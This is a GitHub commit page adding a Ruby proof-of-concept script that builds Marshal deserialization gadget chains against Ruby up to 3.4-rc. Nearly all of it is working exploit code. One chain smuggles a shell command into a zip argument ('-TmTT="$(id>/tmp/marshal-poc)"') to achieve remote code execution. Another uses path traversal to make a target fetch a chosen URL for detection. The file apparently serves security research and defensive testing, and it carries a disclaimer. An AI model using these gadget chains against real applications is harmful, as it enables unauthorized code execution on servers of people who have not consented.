Skip to content

Commit 8c66d0e

Browse files
authored
Merge pull request #1 from doyensec/marshal-3.4-rc0
Updated ruby gadget for marshal loading
2 parents 440261e + ce2f708 commit 8c66d0e

File tree

1 file changed

+124
-0
lines changed

1 file changed

+124
-0
lines changed
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
# Disclaimer:
2+
# This software has been created purely for the purposes of academic research and for the development of effective defensive techniques,
3+
# and is not intended to be used to attack systems except where explicitly authorized.
4+
# Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
5+
6+
# This Ruby marshall unsafe deserialization proof of concept is originally based on: https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
7+
# It was observed to work up to Ruby 3.4-rc
8+
# The majority of this chain was taken from https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/blob/main/marshal/3.2.4/marshal-rce-ruby-3.2.4.rb
9+
10+
# This module is required since the URI module is not defined anymore.
11+
# The assumption is that any web framework (like sinatra or rails) will require such library
12+
# Hence we can consider this gadget as "universal"
13+
require 'net/http'
14+
15+
Gem::SpecFetcher # Autoload
16+
17+
18+
def call_url_and_create_folder(url) # provided url should not have a query (?) component
19+
uri = URI::HTTP.allocate
20+
uri.instance_variable_set("@path", "/")
21+
uri.instance_variable_set("@scheme", "s3")
22+
uri.instance_variable_set("@host", url + "?") # use the https host+path with your rz file
23+
uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/cache/bundler/git/any-c5fe0200d1c7a5139bd18fd22268c4ca8bf45e90/") # c5fe... is the SHA-1 of "any"
24+
uri.instance_variable_set("@user", "any")
25+
uri.instance_variable_set("@password", "any")
26+
27+
source = Gem::Source.allocate
28+
source.instance_variable_set("@uri", uri)
29+
source.instance_variable_set("@update_cache", true)
30+
31+
index_spec = Gem::Resolver::IndexSpecification.allocate
32+
index_spec.instance_variable_set("@name", "name")
33+
index_spec.instance_variable_set("@source", source)
34+
35+
request_set = Gem::RequestSet.allocate
36+
request_set.instance_variable_set("@sorted_requests", [index_spec])
37+
38+
lockfile = Gem::RequestSet::Lockfile.new('','','')
39+
lockfile.instance_variable_set("@set", request_set)
40+
lockfile.instance_variable_set("@dependencies", [])
41+
42+
return lockfile
43+
end
44+
45+
def git_gadget(executable, second_param)
46+
git_source = Gem::Source::Git.allocate
47+
git_source.instance_variable_set("@git", executable)
48+
git_source.instance_variable_set("@reference", second_param)
49+
git_source.instance_variable_set("@root_dir", "/tmp")
50+
git_source.instance_variable_set("@repository", "any")
51+
git_source.instance_variable_set("@name", "any")
52+
53+
spec = Gem::Resolver::Specification.allocate
54+
spec.instance_variable_set("@name", "any")
55+
spec.instance_variable_set("@dependencies",[])
56+
57+
git_spec = Gem::Resolver::GitSpecification.allocate
58+
git_spec.instance_variable_set("@source", git_source)
59+
git_spec.instance_variable_set("@spec", spec)
60+
61+
spec_specification = Gem::Resolver::SpecSpecification.allocate
62+
spec_specification.instance_variable_set("@spec", git_spec)
63+
64+
return spec_specification
65+
end
66+
67+
def command_gadget(zip_param_to_execute)
68+
git_gadget_create_zip = git_gadget("zip", "/etc/passwd")
69+
git_gadget_execute_cmd = git_gadget("zip", zip_param_to_execute)
70+
71+
request_set = Gem::RequestSet.allocate
72+
request_set.instance_variable_set("@sorted_requests", [git_gadget_create_zip, git_gadget_execute_cmd])
73+
74+
lockfile = Gem::RequestSet::Lockfile.new('','','')
75+
lockfile.instance_variable_set("@set", request_set)
76+
lockfile.instance_variable_set("@dependencies",[])
77+
78+
return lockfile
79+
end
80+
81+
82+
# This is the major change compared to the other gadget.
83+
# Essentially the Gem::Specification is calling safe_load which blocks the execution of the chain.
84+
# Since we need a gadget that calls to_s from (marshal)_load, i've opted for Gem::Version
85+
# The only problem with this is the fact that it throws an error, hence two separate load are required.
86+
def to_s_wrapper(inner)
87+
spec = Gem::Version.allocate
88+
spec.instance_variable_set("@version", inner)
89+
# spec = Gem::Specification.new
90+
# spec.instance_variable_set("@new_platform", inner)
91+
return spec
92+
end
93+
94+
# RCE
95+
def create_rce_gadget_chain(zip_param_to_execute)
96+
exec_gadget = command_gadget(zip_param_to_execute)
97+
98+
return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(exec_gadget)])
99+
end
100+
101+
# detection / folder creation
102+
def create_detection_gadget_chain(url)
103+
call_url_gadget = call_url_and_create_folder(url)
104+
105+
return Marshal.dump([Gem::SpecFetcher, to_s_wrapper(call_url_gadget)])
106+
end
107+
108+
url = "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz" # replace with URL to call in the detection gadget, for example: test.example.org/path, url should not have a query (?) component.
109+
detection_gadget_chain = create_detection_gadget_chain(url)
110+
111+
# begin
112+
# Marshal.load(detection_gadget_chain)
113+
# rescue
114+
# end
115+
116+
puts detection_gadget_chain.unpack("H*")
117+
118+
# You can comment from here if you want to simply detect the presence of the vulnerability.
119+
zip_param_to_execute = "-TmTT=\"$(id>/tmp/marshal-poc)\"any.zip" # replace with -TmTT=\"$(id>/tmp/marshal-poc)\"any.zip
120+
rce_gadget_chain = create_rce_gadget_chain(zip_param_to_execute)
121+
122+
puts rce_gadget_chain.unpack("H*")
123+
124+
# Marshal.load(rce_gadget_chain)

0 commit comments

Comments
 (0)